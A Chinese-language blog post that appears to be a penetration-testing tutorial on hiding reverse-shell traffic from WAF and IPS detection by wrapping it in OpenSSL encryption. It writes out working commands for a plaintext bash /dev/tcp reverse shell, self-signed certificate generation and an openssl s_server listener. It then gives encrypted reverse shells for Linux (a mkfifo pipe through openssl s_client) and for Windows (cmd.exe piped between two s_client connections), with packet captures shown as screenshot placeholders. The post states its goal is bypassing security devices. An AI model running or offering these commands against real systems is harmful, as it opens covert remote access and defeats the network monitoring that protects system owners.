AI 摘要(由 ChatGPT 总结生成):
本文探讨了如何通过SSL加密反弹Shell流量以避免被WAF和IPS检测。首先,直接反弹Shell时数据以明文方式传输,容易被监控。接着,介绍了如何生成SSL证书并利用OpenSSL对流量进行加密。对于Linux和Windows平台,分别提供了相应的命令和步骤,实现加密后的Shell反弹,并通过数据包分析验证了加密效果。最后总结了使用OpenSSL加密传输的实用性,后续将讨论流量解密。

前言

前段时间的一个小插曲,我们在拿到 RCE 漏洞后,往往会弹一个 Shell 出来操作,但若是直接反弹会有一个缺点:流量是以明文方式传输的,容易被 WAFIPS 等检测到,进而对带有攻击特征的设备拦截或记录,这时候我们对流量加密则至关重要。下面直接演示。

直接反弹

这里我们简单演示直接反弹的结果,并使用 tcpdump 工具进行数据流的抓取并分析。

首先,我们在测试机中先开一个 Shell 窗口,并使用 tcpdump 抓取 eth0 网卡数据流量,命令如下:

[root@localhost revshell]# tcpdump -i eth0 -w revshell.cap

远程主机使用 nc 工具监听端口:

[root@localhost ~]# nc -lvvp 2024
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::2024
Ncat: Listening on 0.0.0.0:2024

接下来,我们再在测试机上开一个窗口,进行 Shell 反弹,如下:

[root@localhost ~]# /bin/bash -i >& /dev/tcp/[远程IP]/2024 0>&1

成功反弹后,执行命令,并使用工具分析抓取的数据包,以查看在远程主机上所执行的命令与结果,可见数据皆明文传输:

QQ_1728036768692

加密流量

下面我们尝试生成 SSL 证书,再使用 OpenSSL 加密反弹 Shell 。

我们在远程主机上使用 OpenSSL 工具生成 SSL 证书的公/私钥对,需要填写的 SSL 证书信息可以是空,一直回车即可,如下:

[root@localhost revshell]# openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
Generating a 4096 bit RSA private key
...................................................++
..........................................................................................................................................++
writing new private key to 'key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
…………
Common Name (eg, your name or your server's hostname) []:
Email Address []:
[root@localhost revshell]# ll
total 8
-rw-r--r--. 1 root root 1911 Oct  4 18:22 cert.pem
-rw-r--r--. 1 root root 3272 Oct  4 18:22 key.pem
[root@localhost revshell]#

证书生成成功后,我们即可利用该证书对相关流量进行加密。

Linux 平台

1、在远程主机上使用 OpenSSL 在指定端口启动 SSL/TLS 服务,如下:

openssl s_server -quiet  -key key.pem -cert cert.pem -port 2024

2、测试机上使用 OpenSSL 反弹加密的 Shell :

mkfifo /tmp/revshell; /bin/bash -i < /tmp/revshell 2>&1 | openssl s_client -quiet -connect [远程IP]:2024 > /tmp/revshell; rm -f /tmp/revshell

简单在加密的 Shell 上输入几个 Linux 命令后并再次分析验证其数据流量:

QQ_1728038407898

可以看到,传输的数据流量在 3 次握手以后就直接从 TCP 协议变成了 TLSv1.2 ,原先几乎等于明文的 TCP 数据包也变成了看不懂的Application Data,如下:

QQ_1728044131967

Windows 平台

1、由于 OpenSSL 官方未提供适用于 Windows 平台的工具,因此我们可以借助三方开源平台的OpenSSL工具,工具如下:

我们选择 Light 安装包下载安装即可。

2、在 Windows 平台下,我们远程主机监听两个端口,其命令如下:

# 配置命令发送端口
openssl s_server -quiet -key [keyfile] -cert [cert] -port [port1]

# 配置命令结果接收端口
openssl s_server -quiet -key [keyfile] -cert [cert] -port [port2]

Windows 主机下我们反弹的命令如下:

openssl s_client -quiet -connect [ip]:[port1] | cmd.exe | openssl s_client -quiet -connect [ip]:[port2]

上述需定义两个远程主机端口,第一个端口 port1 负责实现对 Windows 主机发送用户的命令,其命令经过管道交由 cmd 处理,并将处理结果再返回到远程主机的 port2 端口。

我们在远程主机的 port1 端口的窗口敲击命令,在 port2 端口的窗口观察执行结果,其结果如图所示:

QQ_1728043545094

3、经过上述实操,我们在 Windows 上抓取流量数据包并再次分析流量,结果如下,可见进行了 SSL 加密内容:

QQ_1728043714428

小结

这也算是近期遇到的一个小插曲,个人博文中也写过相关反弹 Shell 的文章,本次则是利用 OpenSSL 对反弹的 Shell 流量进行加密传输,以绕过相关设备的拦截;此文只写使用,暂不讨论流量的解密,可后续再写一文进行分析流量解密操作。

End

本文标题:反弹Shell流量加密

本文链接:https://www.isisy.com/1568.html

除非另有说明,本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议

声明:转载请注明文章来源。

如果觉得我的文章对你有用,请随意赞赏